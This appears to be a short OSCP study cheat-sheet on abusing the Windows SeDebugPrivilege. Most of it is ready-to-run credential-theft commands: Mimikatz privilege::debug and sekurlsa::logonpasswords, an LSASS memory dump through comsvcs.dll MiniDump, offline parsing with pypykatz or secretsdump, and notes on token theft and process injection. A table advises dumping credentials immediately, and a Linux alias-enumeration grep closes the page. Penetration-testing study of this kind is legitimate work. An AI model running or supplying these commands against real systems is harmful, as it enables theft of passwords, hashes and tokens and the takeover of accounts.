SeDebugPrivilege
Ctrl+F:
SeDebugPrivilege·privilege::debug· LSASS · Mimikatz · token
Why: Debug any process — read/write memory of processes you normally can’t touch. On OSCP → dump LSASS with Mimikatz, steal tokens, inject into SYSTEM processes.
whoami /priv
REM SeDebugPrivilege Enabled→ Windows Privileges - OSCP Priority Hub · LSASS · Mimikatz
📌 Mimikatz (classic)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::ekeys
token::elevateUpload via evil-winrm · certutil · File Transfer
📌 comsvcs.dll LSASS dump (no Mimikatz binary)
If you have SeDebug + know lsass PID:
tasklist | findstr lsass
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID C:\Temp\lsass.dmp fullParse offline on Kali → pypykatz · secretsdump
→ LSASS
📌 Process injection / token theft
With SeDebug, tools can:
- Open SYSTEM / admin processes
- Duplicate tokens → impersonate
- Inject shellcode (advanced — less common on exam)
PowerShell: Get-Process + token APIs — see PowerUp
📌 When you see it
| Context | Action |
|---|---|
| Local admin / backup account | Mimikatz dump immediately |
| After Potato → SYSTEM | Often inherited — dump creds for domain |
| Service account (rare) | Usually SeImpersonate instead |
📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration